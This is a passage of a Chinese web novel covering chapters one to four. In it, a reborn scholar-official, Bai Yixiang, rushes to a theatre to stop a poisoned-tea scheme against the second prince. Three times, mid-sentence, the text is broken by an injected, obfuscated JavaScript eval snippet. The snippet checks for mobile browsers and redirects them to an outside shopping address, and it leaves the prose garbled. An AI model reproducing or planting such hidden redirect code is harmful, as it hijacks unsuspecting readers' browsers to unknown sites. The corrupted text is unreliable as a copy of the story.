《遗袖万年》 1. 第 1 章 白逸襄年纪轻轻便死了。这倒不稀奇,他这副破败身子,自打娘胎里出来就带着病根,京城里最有名的太医早就断言,他活不过而立之年,他死在二十八岁,也算在意料之中。 稀奇的是,死后的世界并非传说中的黄泉奈何,而是一片无边无际的、灰蒙蒙的虚无。他像个被扎破了的风筝,身不由己地飘着,看着这世界变换,沧海桑田。 一看,就看了三百年。 他被迫看到了很多事。 起初,看到了他一手扶上皇位的太子赵钰,登基后是如何将他留下的治国良策当成废纸,又是如何听信谗言,将他生前最器重的几个门生一一贬谪,发配边疆。 白逸襄想:罢了,帝王心术,历来如此。庸主虽庸,守成尚可。 然后,他又看到了边境烽烟四起,国库日渐空虚,各地藩王拥兵自重,朝堂之上却依旧歌舞升平。 白逸襄想:……扶不起来的阿斗。也罢,王朝兴衰,自有定数。 直到…… 他看见自己的子孙,身披龙袍,在一众旧臣的拥戴下,登上了金銮殿,接受山呼万岁。 紧接着,一道圣旨,将赵氏皇族三百余口,尽数赐死。 白逸襄捶胸顿足。 逆子啊!逆子! 可不管他如何气愤,历史仍旧继续向前推进。 他见到了许多让他惊叹,颠覆他固有思维的历史发展。 他从开始的不解,到后来的顿悟,再到最终的反思。 反思过去,反思自己。 他错了!错的很彻底! 他希望弥补一切,却无能为力。 某一天,他飘到一老友的后代书房上空,看到新朝的史官,正连夜奋笔疾书,为他这位“新朝太祖”修撰本纪。 史官写道:“白逸襄,字知渊,有经天纬地之才,然狼子野心,阴鸷狠毒。其一生,以辅佐为名,行篡逆之实,为子孙窃国铺路,实乃大靖第一奸相也……” “……” 胡扯! 自己认错是一回事,被别人骂那又是另一回事! 白逸襄想拿起砚台砸那狗官,却什么都拿不起来,却因用力过猛穿过了桌子和史官的身体。 那史官身体打了个激灵,四下看了看,又继续写了起来。 白逸襄就那么一直看着史官最后落笔,四个大字:遗臭万年! 而他身为一个魂魄,却无能为力。 想他白逸襄,汲汲营营、呕心沥血一辈子,图的不过是青史留名,光耀门楣。结果到头来,竟成了个遗臭万年的大奸臣?! 这,这些不孝子孙,简直气煞我也!!! 巨大的悲愤与荒谬感压得他心魂不稳,紧接着,他周身激起一阵山呼海啸,不等他做出反应,瞬间将他的魂魄撕扯、碾碎。 不!不要!他不要就这么消失,他不甘心! 啊!!! …… 不知过了多久,白逸襄渐渐有了意识,他听到有人不断的呼唤。 “郎君……郎君……” 谁在叫他? 耳边传来一个憨憨的、带着哭腔的声音,像是一头公牛。 白逸襄费力地想睁开眼,眼皮却重若千斤。浑身上下,像是被拆散了又胡乱拼凑起来一般,没有一处不疼。喉咙里又干又涩,灼热难忍。 “福伯!福伯!郎君手动了!郎君醒了!”那公牛般的嗓门又嚷嚷起来。 紧接着,是一阵杂乱的脚步声,一个苍老的声音气喘吁吁地传来:“我的郎君爷哎,您可算是要醒了……” 白逸襄的意识在浓重的药味和淡淡的檀香中,一点点地回笼。这个味道,他熟悉。是他卧房里常年点的安神香。 他终于勉强撑开了一条眼缝。 天青色的帐幔,银线绣的竹叶,还有床边那四张熟悉又陌生的脸。 那个最丑的,壮硕如山的,是……是石头?对!是石头,这是他的贴身忠仆。 另一个……是,是看着他长大的老管家白福。 另外两个妙龄女孩,是他的贴身侍女,一位叫卉迟,一位叫玉瑶。 “郎君,您感觉怎么样?要不要喝水?”白福的眼泪顺着他的褶子留下来,声音都在发抖。 白逸襄张了张嘴,没能发出声音,只是轻轻点了点头。 白福道:“快,快拿水来!” “唉!”玉瑶清脆的声音传出,动作麻利的拿起水碗。 冰凉的玉勺抵上干裂的嘴唇,一股带着甘草味的温水顺着喉咙流下,那股烧灼感总算被压下去了一些。 他缓了好一会儿,混沌的脑子才开始慢慢转动。 接着,他感受到一枚通体莹白的玉扳指,正静静地套在自己拇指上。 这是……他母亲的遗物! 这枚遗物,在他二十二岁那年,为躲避一场兵乱,就已经遗失在逃亡的路上了!他后来找了许久,都未曾寻回,此事一直是他心中最大的遗憾之一。 白逸襄的心脏狂跳起来,他用颤抖的手指,反复摩挲着玉扳指上那熟悉的、温润的质感。 难道…… 一个荒谬到让他自己都觉得可笑的念头,浮上了心头。 他强压下心中的巨浪,用一种近乎呢喃的虚弱声音问道:“福伯……我……我这是怎么了?” 白福听他问话,连忙回答:“郎君忘了?是前儿中秋宫宴,您在宴上喝了些酒,回府的路上又吹了冷风,当晚就起了高烧,昏睡了过去,到今天,是第三天了。” 中秋宫宴……昏睡三天……记忆中,确有其事。 白逸襄的眼神闪烁了一下,继续问道:“父亲呢?” “哎,”白福叹了口气,“郎君又忘了,老爷十天前就动身,去沧州拜会老友了,说是要在那儿盘桓些时日,探讨学问。你生病的第二天我便写信给老爷,这两日应该已经收到信了,想必老爷看到信,即刻就会动身赶回来。” 信息吻合!他几乎已经能确认八九分,但还需要最后的印证。 他状似无意地环顾了一下四周,问道:“对了,怎不见岳枫堂弟?” 提到白岳枫,白福的脸上闪过一丝不快:“您就别提他了。老爷前脚刚走,他后脚就没了拘束。您病着的这几天,他倒是来看过一回,说了几句风凉话,被老奴给请出去了。这会儿,怕是又跟那帮狐朋狗友,在城西的马场赌钱呢!” 都对上了。 时间、人物、事件、细节……分毫不差。 他不是在做梦,也不是死后出现了幻觉。 他是真的,回到了二十岁这一年! 这个认知,比“遗臭万年”的判决,更让他感到震骇与荒谬。他怔怔地靠在软枕上,良久无言,只是大口大口地喘着气,仿佛一条被扔上岸的鱼。 白福和石头见他脸色变幻不定,却又不敢打扰,只能在一旁干着急。 许久,白逸襄才慢慢平复了心绪。 又喝了几口让他怀念不已的温水,他再一次开口,声音已经恢复了些许镇定:“我睡了三天……京城里,可有什么新鲜事?” 白福想了想,“倒是没什么大事。就是太子殿下派人来问过两次您的病情,还有……哦,对了,听闻今儿个清音阁有新戏,城里好些达官贵人都去了,热闹得紧呢。” 清音阁…… 这个名字像一根极细的针,轻轻地扎了一下白逸襄衰弱的神经。 嘶—— 好熟悉的名字啊,但总感觉很刺耳。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16766960|190202||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “太子殿下近来可好?” 白福摸不着头脑,郎君这一病,怕不是真的把脑子烧坏了吧?怎么什么都不记得了? 白福压低了声音道:“这老奴却不清楚,只听得郎君说,前阵子陛下交办的几件差事,二殿下都办得极为漂亮,在朝会上得了陛下好几句夸呢。咱们那位太子爷,心里能舒坦才怪了。” 嘶—— 那种针扎的感觉又来了。 二殿下,赵玄,风头太盛。 太子爷,心里不舒坦。 清音阁……新戏…… 轰——!!! 这些信息组合在一起,像是有一道天雷,毫无征兆地从天而降,正正地劈在白逸襄的天灵盖上! 哎呀!他想起来了! 那是张茂给太子出的毒计!让青官玉芙蓉勾引二皇子,喝下了那杯下了药的茶!然后发生了苟且之事,丑事被宣扬的人尽皆知,皇帝震怒,朝野哗然,各方势力施压,二皇子羞愧自刎。 其实,以他对二皇子的了解,他断不会因为这种事自戕,但谁人会在意真相? 身败名裂的皇子,死因为何,根本不重要了。 而这所有的一切的开端,都发生在——永嘉十五年,八月十八,戌时,清音阁! 白逸襄忙问:“白福,今天何日何时?” 白福一头雾水:“八月十八,现在应该是酉时,三刻了吧?” “八月十八,酉时三刻……” 白逸襄摇了摇不甚清醒的大脑,那不马上就戌时了吗? 那一股冰凉的寒意,瞬间从他的尾椎骨窜上大脑。 他全身的血液都在这一刻凝固,又在下一刻疯狂地倒流,狠狠地冲撞着他的心脏! 那是他的“一世英名”在紧急呼救。 “郎君,您怎么了?!” 白福和石头被他骤然惨白的脸色和猛然睁大的双眼吓了一跳。 白逸襄却什么都听不见了,他的耳边只有自己如擂鼓般的心跳声。 赵玄绝不能死! 他死了,太子就再无对手。 他死了,这个国家就再无希望。 他死了,他白逸襄也再无名流青史的机会。 白逸襄惊跳而起,动作之快,让身边的白福和石头都吓得魂飞魄散。 “石头!备车!”白逸襄的声音嘶哑而尖利。 他胡乱地抓起屏风上的外衫,赤着脚踩在地上,踉踉跄跄地就往外跑。 脚下的鞋履还未穿稳,跑了两步,其中一只精致的云纹软履竟直接从脚上飞了出去。 白逸襄却似未曾察觉,依旧赤着一只脚,发疯似的往前冲。 “郎君!郎君您的鞋!”白福在后面看得目瞪口呆,惊呼着捡起鞋子追了上去。 石头也懵了。他跟了自家郎君这么多年,从未见过他如此失态。 眼看白逸襄就要失去平衡撞在院中的廊柱上,石头终于反应过来。他一个箭步冲上前,蒲扇般的大手一伸,一把就将白逸襄整个人抄了起来,像扛米一样,直接甩到了自己宽厚的肩膀上。 “啊——” 白逸襄只觉得眼前景物一阵天旋地转,随即整个人便被倒着扛了起来,胃里翻江倒海,血液直冲脑门。 “你这憨货,快放我下来。” “郎君!您指路!俺跑得比马车快!”石头中气十足地大吼一声,迈开两条粗壮的腿,如一头横冲直撞的蛮牛,朝着府门的方向狂奔而去。 白逸襄被他颠得七荤八素,差点把中午喝下去的药汤都吐出来。 也罢…… 他死死地抓住石头的肩膀,稳住身形,用尽全身力气,从牙缝里挤出三个字: “清……音……阁!” 2. 第 2 章 白逸襄被石头扛在肩上,整个人上下起伏,京城熟悉的街道在倒转的视野里飞速后退。 两侧店铺的灯笼、酒楼的幌子、甚至天上那轮刚刚显现的月牙,都化作了一条条模糊的光带,在他眼前交错、流淌。 耳边是石头沉重的喘息声,和自己那颗因焦急而狂跳不止的心脏,敲击胸腔的声音。 路过朱雀大街时,一阵浓郁的羊肉汤香味从一家食肆里飘出,蛮横地钻进鼻腔,勾得他那空空如也的胃,一阵阵地抽搐。 前世劳心,今生劳身。 颠得他五脏六腑都快移位了…… 石头从小就长在他身边,他以前知他莽撞,竟不知道他能这般的憨。 也是,他白逸襄前世也不曾做过这般孟浪之事。 下次……不管多急,一定要坐马车。 为了节省时间,石头带他穿过了几个巷子,也避开了人多的大街,此时几个回家的行脚商,正挑着担子走在路边,冷不防身边一阵狂风卷过。他们只看到一个黑塔般的壮汉,肩上扛着个白衣飘飘的人影,像头出笼的野兽,瞬间就奔出老远,只留下一串沉重的、如同擂鼓般的脚步声。 “我的娘哎……抢人啦!抢的哪家的小姐啊?”一个小贩吓得手里的拨浪鼓都掉在了地上。 白逸襄已经没空去理会身后那些惊愕的目光了。他强迫自己在剧烈的颠簸中,将那些关于“断袖风波”的破碎记忆重新拼凑起来。 他记得,前世病好之后,他曾作为太子的幕僚,参与了此事的“善后”。太子赵钰为了炫耀自己的“功绩”,几乎将所有细节都原原本本地告诉了他,那副志得意满的嘴脸,他到死都还记得。 二皇子赵玄,当今陛下的第二个儿子。生母虽然贵为德妃,但早早身故,二皇子年幼丧母,所以他在宫中素来不受宠,也不拉帮结派,像个隐形人。 但从三年前年开始,这个“隐形人”却不再隐形。 先是平定了西南三州的匪患,干脆利落的手腕让朝中那些老将都为之侧目。后又在黄河大堤的修缮工程上,提出了极具远见的“以工代赈,疏浚为本”的方案,虽未被采纳,却深得皇帝赞许。 其英武果决的行事风格,与温吞平庸的太子赵钰,形成了鲜明对比。 二皇子也因平匪政绩,被封“秦王”。 于是,朝中开始有了“易储”的传言。 这才是太子对他动了陷害之心的根源。 至于“断袖”…… 白逸襄回忆起太子当时的言辞: “赵玄那厮,附庸风雅,就爱和那些戏子艺姬混在一起。那清音阁的头牌‘玉芙蓉’,长得比女子还美,成日里与他弈棋品茗,吟诗作对。哼,简直伤风败俗。” 前世的白逸襄,也觉得皇子之尊,与戏子过从甚密,实在是有辱斯文,不成体统。 但现在,以一个飘荡了三百年的“老鬼”身份再看,却品出了完全不一样的味道。 不受宠的皇子,在京城没有任何根基和势力。他不与朝臣结交,是不想落人口实;他流连于风月场所,或许,只是一种收集三教九流消息的手段,一种藏起自己锋芒的保护色。 一个真正有野心的人,怎会沉溺于男-色? 这样的男人,更不可能因为一时的挫折而自戕。 太子赵钰,蠢! 而他白逸襄,比太子更蠢! 竟因这种捕风捉影的“厌恶”,便对一个未来可能成为明君的皇子之死,袖手旁观! 白逸襄,你枉称忠臣,枉为儒林名仕! “郎君!前面就是清音阁了!” 石头的声音如同洪钟,将白逸襄从懊悔的思绪中震了回来。 白逸襄倒着的视野里,已经能看到远处那座灯火辉煌的三层阁楼。檐角飞翘,挂着一串串斑斓的灯笼,将半边夜空都映得透亮。门口车水马龙,一派歌舞升平之景。 谁能想到,在这片繁华之下,一场足以动摇国本的阴谋,正在悄然上演。 来不及了!多想无益! “石头!”白逸襄拍了拍他的后背,“放我下来。” 石头将白逸襄放下,白逸襄头晕目眩,虚弱无力,不知是身体太差,还是被石头一路颠簸所致,他忙又拍拍石头的肩膀,“蹲下”。 石头依命蹲下,白逸襄趴在他的背上,石头立即会意,背起了白逸襄。 这样,舒服多了…… 白逸襄长手一指,“冲进去!” “好嘞!” 石头应了一声,双脚在青石板上重重一踏,整个人如炮弹般,朝着清音阁那朱漆大门,直直地冲了过去。 “哎!什么人!” 门口迎客的伙计和守门的护院见一个壮汉扛着个人就这么横冲直撞地过来,吓了一跳,连忙上前阻拦。 “让开!”石头一声暴喝,根本不减速。 那几个护院也是见过世面的,见来人凶悍,立刻抽出腰间的棍棒,想要将他拦下。 白逸襄被颠得头晕眼花,只听得耳边“砰砰”几声闷响,夹杂着几声痛呼,随即,他便随着石头,冲进了一片温暖而嘈杂的天地。 丝竹之声,靡靡入耳。空气中弥漫着熏香、酒气和脂粉混合的味道。 “郎君,进来了!”石头稳稳地站住,邀功似的说道。 音乐声因为他们的闯入而出现了一瞬间的凝滞。 高台之上,一个正做着高难度旋转舞姿的舞姬,被这突如其来的变故吓了一跳,脚下一个踉跄,哎呀一声,狼狈地摔倒在地。 满堂宾客的目光,“唰”地一下,全都聚焦到了他们身上。 惊诧、好奇、皱眉、不悦……最后,都因为某位宾客的一句话转为看好戏的玩味。 “那不是……东宫的白洗马吗?他这是做什么?” “啧啧,病得都快死了,还有力气来这风月场所闹事?” 周遭的窃窃私语转为喧哗,对白逸襄的行为和造型开始品头论足。 而此时的白逸襄哪里顾得上脸面,他从石头肩上滑了下来,双脚刚一沾地,便是一软,差点跪倒在地。 他连忙扶住身边的一根廊柱,这才勉强站稳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16766961|190202||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 “玉芙蓉……在哪个雅间?”白逸襄压低声音,急促地问道。 石头挠了挠头:“俺……俺不知道啊。” 坏了,他光顾着着急,却忘了这茬。 清音阁后台雅间众多,他前世也不曾来过,根本不知道玉芙蓉的专属房间在哪。 想要抓个人来问,周围早已被蛮牛一样的石头清扫干净,都躲的远远的。 白逸襄心急如焚,眼角余光却瞥见一个身穿深栗色锦袍的人,从二楼的一条走廊尽头,探出头来看了一眼,随即又飞快地缩了回去。 那定是二皇子赵玄的亲随! “二楼!左手边最里一间!”白逸襄指着那个方向,对石头命令道。 石头得令,二话不说,再次背起白逸襄,朝着二楼的楼梯就冲了过去。 “站住!” “大胆狂徒!竟敢在清音阁闹事!拿下!” 楼梯口的护卫比楼下的更多,也更精锐,眼看就要将石头团团围住。 他们撞翻了一张靠近楼梯的案几,桌上的酒水菜肴“哗啦”一声,洒了一地。 “撞过去!”白逸襄趴在石头的肩上,厉声喝道。 石头双目圆睁,大吼一声,用自己的血肉之躯,硬生生地从那几名护卫组成的“人墙”中,撞开了一条通路! “砰!砰!砰!” 几根水火棍重重地砸在他的腿上,发出令人牙酸的闷响,石头却恍若未觉,脚下毫不停留,几步就窜上了二楼,直奔走廊尽头而去。 果然,走廊尽头的那个房间门口,站着两名二皇子的亲随,见他们冲来,立刻拔出了腰间的佩刀,横在身前。他们的手稳稳地握在刀柄上,眼神锐利如鹰,透着一股久经沙场的血气。 “白先生?”其中一人认出了白逸襄,惊愕过后,眼神立刻转为警惕,谁人不知,白逸襄是太子党的核心。 这两人是赵玄的心腹,武艺高强,不是楼下那些护院可比的。 白逸襄知道,跟他们讲道理是没用的。 他拍拍石头的肩膀,石头半蹲下来,他从石头的肩上滑下来,扶着墙壁,整个人像是被抽了骨头一般,剧烈地咳嗽起来。这一连串的奔波,早已耗尽了他这具病体所有的力气。 他咳得撕心裂肺,咳得眼前阵阵发黑,眼角都泛起了生理性的泪花,脸色更是惨白得像一张纸。 他一边咳,一边气息不匀地厉声喝道:“让……咳咳……让开!我有……天大的急事禀报秦王殿下!” “白先生,我们殿下不想见您,请回吧,莫让属下为难。”那随从不为所动,语气冰冷。 白逸襄心中焦急万分,多耽搁一秒,里面的赵玄就多一分危险。 “那在下便失礼了!”他看了一眼身旁的石头,心一横,低喝道:“闯!” 石头不懂什么政治,也不懂什么规矩。他只回头看了一眼自家郎君,看到他眼中那份不容置喙的决绝,就够了。 他深吸一口气,鼓起全身的肌肉,像一座移动的小山,朝着那两名持刀的随从,狠狠地撞了过去! 3. 第 3 章 石头瓮声瓮气地低吼一声:“官老爷们,得罪了!” 那两名随从眼见一堵“肉山”呼啸而来,非但不惧,反而眼中精光一闪。 其中一人不退反进,身形一矮,脚下一个滑步,便鬼魅般地绕到了石头的侧面,一记干脆利落的肘击,狠狠地捣向石头的软肋!另一人则顺势后撤半步,手腕一翻,刀鞘如棍,精准无比地点向石头的右肩关节! 他们的配合天衣无缝,一人主攻要害,一人牵制,既狠辣又留有分寸。 换做寻常高手,挨上这么一下,半边身子都要发麻。 可他们今天遇到的是,石头。 “砰!” 那记足以打断肋骨的肘击,捣在石头腰间的肥肉上,感觉就像打在了一堵挂着厚棉被的墙上,震得那随从自己手臂都有些发麻。 石头甚至连晃都没晃一下,只是“嘿”了一声,咧嘴冲他笑了笑,似乎觉得有点痒。 另一人的刀鞘也点中了石头的肩膀,却只听“笃”的一声闷响,石头的胳膊只是微微一沉,根本没事。 “……” 两名亲随的脸上,第一次露出了见了鬼似的表情。 这是个什么怪物?! “官老爷们,别打了,俺郎君有急事!”石头憨厚地说着,蒲扇般的大手却毫不含糊,手臂一张,竟是不管不顾地朝着两人拦腰抱了过来! 这打法,简直跟街头混混撒泼没什么两样,毫无章法可言。 两名亲随气得差点吐血,身形展转腾挪,躲开石头的熊抱,拳脚如雨点般落在石头身上。 碍着白逸襄的身份,护卫们不敢用刀刃,只能用拳、用掌、用肘,招招都冲着人体的关节、穴位等薄弱处而去。 可打在石头身上,效果约等于……挠痒痒。 “哎,别打了,痒痒。”石头一边躲,一边不耐烦地抱怨。 他虽然武艺稀松,但胜在皮糙肉厚,加上天生神力,那两人一时间竟也拿他毫无办法。反而因为地方狭窄,束手束脚,被石头逼得连连后退。眼看就要被石头挤到门边,其中一名亲随终于急了,他瞅准一个空当,不再攻击,而是直接伸手,想去抓白逸襄的衣领,打算先把人质抢下来再说! 这下可捅了马蜂窝了。 “敢动俺家郎君!” 石头双目圆睁,彻底怒了。他不再躲闪,任由另一人的拳头砸在自己脸上,快速地伸出两只大手,一把就抓住了那两名亲随腰间的革带! 那两人心中一惊,暗道不好,正要发力挣脱,却只觉得一股排山倒海般的巨力从腰间传来! 石头竟像提着两只小鸡仔似的,把两个一百六七十斤的壮汉,硬生生地给提离了地面! “呃啊—— 两名身经百战的亲卫,平生第一次体会到了双脚离地的无助与恐慌。 “给俺进去吧你们!” 石头大吼一声,提着两人,用他们的身体当做攻城锤,狠狠地朝着那扇雕花的木门,撞了过去! “轰——” 门板撞在墙上,发出一声巨响。 雅间内的丝竹之声戛然而止,里面的景象也呈现出来。 这间雅间极为清雅,地上铺着厚厚的波斯地毯,角落里燃着一炉香,淡淡的青烟袅袅升起。墙上挂着几幅名家字画,一张紫檀木的棋盘摆在窗边,上面的黑白子还维持着一局残棋。 而棋盘旁,正对坐着两个人。 其中一人,身着一袭墨绿色锦袍,剑眉入鬓,目若朗星,虽是坐着,也难掩其身形的挺拔与骨子里的英武之气。正是当朝二皇子,赵玄。 另一人,则是一身水红色的戏服,云鬓高耸,斜插一支碧玉簪。他身形纤细,眉眼间画着精致的妆容,眼波流转,顾盼生辉,确有几分雌雄莫辨的柔美。想来,这便是那名动京城的“玉芙蓉”了。 此刻,赵玄端着茶碗,玉芙蓉端着一只薄胎的青瓷茶盏。两人保持着僵硬姿势看着擅自闯入者。 白逸襄看向赵玄手里的茶碗—— 就是现在! 白逸襄活了几十年的理智和谋划都在这一刻被抛诸脑后,只剩下一种野兽般的本能。 他从石头的背上猛地滑了下来,用尽全身最后一丝力气,如一支离弦之箭般扑了过去! “啪!!!” 一声清脆到刺耳的碎裂声,响彻整个雅间。 那只精美的青瓷茶盏被白逸襄一掌狠狠打落在地,四分五裂。 滚烫的茶水夹杂着翠绿的茶叶,溅得到处都是,甚至有几滴,燎到了赵玄的衣角上。 空气,在这一刻彻底凝固。 但没持续太久。 “白逸襄!你放肆!” 赵玄猛地站起身来,眼中瞬间迸发出滔天的怒火。他那与生俱来的贵胄威仪,此刻如同出鞘的利剑,毫不掩饰地朝着白逸襄压了过去。他怎么也想不到,太子赵钰的首席幕僚,竟敢以这种方式,闯入他的私人空间,打断他与友人的清谈! “啊——”玉芙蓉则像是受了惊的小鹿,发出一声尖叫,花容失色地跌坐在地,一双美目中迅速蓄满了泪水,嘤嘤地哭泣起来,那模样,当真是梨花带雨,我见犹怜。 赵玄的盛怒并没让白逸襄惧怕,他全然没有“乱臣贼子”应该有的卑微态度。反而因看见赵玄生龙活虎的样子,让他满意的勾起了唇角。 那如释重负的笑容,让赵玄不由得一滞。 他与白逸襄虽分属不同阵营,但对这位名满京华的“大靖第一才子”,也算闻名已久。偶尔在宫宴上照面,对方永远是那副高冷的模样,一身绛紫色官袍,干净得不染尘埃,看人的眼神,总是隔着一层薄雾,疏离而得体。 可眼前这个人,发丝凌乱,外衫敞开,露出中衣,脖颈处衣襟微开,一只脚上还沾着泥污,狼狈不堪。那张向来毫无血色的脸上,却因急奔和激动,泛起两抹病态的潮红。 与他如此近的距离,这是头一遭,近到看清了他的毛孔,近到发现对方竟然长着一双眼角上吊的凤目。 而那病秧子白逸襄,一掌拍出,已是强弩之末。 他身子一晃,连忙扶住身旁的桌案,这才没有当场倒下。他扶着桌沿,俯下身子,剧烈地咳嗽起来,咳得撕心裂肺,仿佛要将肺都咳出来一般。 然而,当他再次抬起头时,那双因咳嗽而泛起水光的眼睛里,却闪烁着一种近乎疯狂的亮光。 他无视了赵玄那几乎要杀人的目光,伸出颤抖的手指,直直地指向瘫坐在地上的玉芙蓉,厉声道:“殿下!此人意图加害于你!” 赵玄皱了皱眉,他没有立即否定白逸襄,身为深处权力漩涡的皇子,该有的职业素养便是对任何可能的加害都必须非常敏感。 但是,玉芙蓉是他的朋友,待遇自然不一样。 他看向玉芙蓉,玉芙蓉脸上立即浮现出受伤的神情,“殿下,你竟然任由一个发疯的外人胡 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16766962|190202||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 乱栽赃奴家吗?” “外人”这个词让赵玄脸色微变,但不等赵玄表态,一旁的白逸襄却大喝道:“大胆青官!休得无礼!你何时成了秦王殿下的内人?!此等大逆不道的话,传出去,岂不是污了殿下的清名?” 玉芙蓉被那姓白的厉声言辞震慑到了,他意识到自己的失言,连忙跪到赵玄脚边,泣声道,“殿下,奴家……无心之言,望殿下恕罪!” 赵玄再欲张口,却又听得白逸襄喝道:“殿下,此歹人虽花容月貌,却是蛇蝎心肠,殿下切不可被他蛊惑!” 赵玄惊讶的望向白逸襄,对方完全没有因为自己不合时宜的行径有任何羞愧之色,脸上是无比的严肃和决绝。 他是,认真的……? 那好似为人师的严厉态度,让赵玄一阵迷茫。 玉芙蓉连忙拉住赵玄的衣角,“殿下,奴家不知哪里得罪了逸襄先生,竟要受此等奇耻大辱!奴家对殿下一片忠心,天地可鉴啊!” 他一边哭,一边抬起泪眼,怨毒地瞪着白逸襄:“逸襄先生,我知道您是太子殿下跟前的红人,可您也不能这般仗势欺人!莫不是……你才是那个受人指使,以奴家的贱躯来损毁二殿下名声的人?” 这番话,说得是声泪俱下,合情合理。一个手无缚鸡之力的青官,如何加害一位皇子?反倒是白逸襄,作为太子心腹,突然闯入“政敌”的私人会面,打翻茶盏,污蔑构陷,这其中的动机,才更值得人深思。 赵玄很快恢复清醒,脸色阴沉下来。他本就对白逸襄的突然闯入的行为满腹疑窦,此刻听了玉芙蓉的话,心中的怒火更盛,但更多的,却是他本能的审慎和多疑。 白逸襄今日此举,究竟是太子授意,还是他自作主张? 如此荒唐的行事作风,难道是为了扰乱视听,最后找借口脱责? 赵玄眯了眯眼睛,“逸襄先生,本王念你为儒林名士,素有高洁之名,今日之事,本王不予计较,你带着你的人走吧,否则,别怪本王不给白家脸面。” “殿下!”白逸襄强撑着站直了身体,虽然赵玄暂时无忧,但若就此退去,那青官必然还会兴风作浪,今夜之事,依然会以另一种方式发生。 他要把一切可能性都扼杀在襁褓里。 白逸襄没有去看那哭哭啼啼的玉芙蓉,而是将桌上那青瓷茶壶一把抓了起来,不顾里面滚烫的茶水,直接塞到了赵玄的手中! 赵玄被烫得手一缩,却被白逸襄死死按住。 “殿下不必听信我二人所言,你只需将此壶,连同地上这滩茶水,一并带回府中,命你最心腹的太医一验便知!” 他面庞凑近赵玄,低声道:“此事,事关殿下的性命与清誉,不可不察!” 说完这句话,白逸襄再也支撑不住,身子一软,向后倒去。 一直守在门口的石头眼疾手快,一个箭步上前,将他稳稳地扶住。 “咳……咳咳……”白逸襄靠在石头宽厚的胸膛上,再次剧烈地咳嗽起来,他向怔在原地的赵玄,深深地作了一揖,然后对石头虚弱地道:“我们……走。” 石头不再多言,小心翼翼地扶着自家郎君,转身向门外走去。 自始至终,白逸襄没有再回头看一眼。 雅间内,只剩下死一般的寂静。 赵玄看着自己手中那把尚有余温的青瓷茶壶,又看了看地上哭得梨花带雨的玉芙蓉,眼神在冰冷和审视之间,变幻不定。 4. 第 4 章 白逸襄被石头搀扶着,踉踉跄跄地走出了清音阁。 “郎君,您没事吧?”石头憨声问道。 白逸襄想说“没事”,喉咙里却涌上一股腥甜,他连忙用袖口掩住嘴,压下了一阵撕心裂肺的咳嗽。 嗐……这身子,比记忆中还要不中用啊。 …… 白逸襄和石头踏出清音阁大门的那一刻,二楼的另一间雅间的门,悄无声息地开了一道缝。 一个贼眉鼠眼的仆人探出头来,看见了离去的二人,又飞快地看了一眼二楼尽头那间被撞破的房门,随即缩回头,对屋内的人急急禀报道:“爷,那……那白洗马走了!” 雅间内,太子赵钰的亲信张茂正焦躁地来回踱步。 “走了?就这么走了?”张茂一把揪住那家仆的衣领,“里面什么动静?可曾……可曾抓到什么把柄?” “没……没有啊……就听见‘砰’一声,那白洗马就闯进去了,然后……然后就吵起来了,小的离得远,听不清吵什么,没一会儿,他就出来了。” “废物!”张茂一把将他推开,一脚踹在桌腿上,恨恨地道,“怎么会是他?白逸襄这病痨鬼,不好好在家等死,跑来这里搅什么局!” 原本今夜的计划,是天衣无缝的。 他们的人手埋伏在隔壁,只等玉芙蓉那边得手,闹出动静,他们便以“听闻异响,前来探查”为名,一拥而入,“恰好”撞破赵玄的丑事。届时人赃并获,赵玄百口莫辩。 可谁能想到,半路会杀出个白逸襄! 旁边的侍从忧心忡忡地道:“爷,你说……这会不会是白逸襄他……发现了什么?” “不可能!”张茂断然否定,“此事机密,连东宫之内,知晓的都不超过五指之数。他一个病了三天、人事不省的人,如何能知晓?” 这话说了他自己都不信,如此天衣无缝,为什么白逸襄会突然出现在这里? 白逸襄这个人,太过聪明,聪明到让太子都时常感到忌惮,谁知道他葫芦里到底卖的什么药? “那……张爷,我们现在怎么办?还按原计划行事吗?”另一个侍从小声问道。 张茂在原地转了两圈,眼中闪过一丝狠厉:“等!再等等看!万一那药……他喝了呢?” 他话音未落,就听见走廊尽头那间雅间的门,“吱呀”一声,开了。 赵玄脸色铁青地从里面走了出来。 赵玄衣衫整齐,步履沉稳,除了脸色难看些,丝毫没有中药后的迷乱之态。他手中,还提着那把青瓷茶壶。 赵玄没有看任何人,径直从走廊穿过,下了楼。他那两名亲随一瘸一拐,满眼杀气地跟在他身后。 隔壁雅间内的众人,大气都不敢出,眼睁睁地看着这位煞神,在一楼大堂所有人的敬畏目光中,扬长而去。 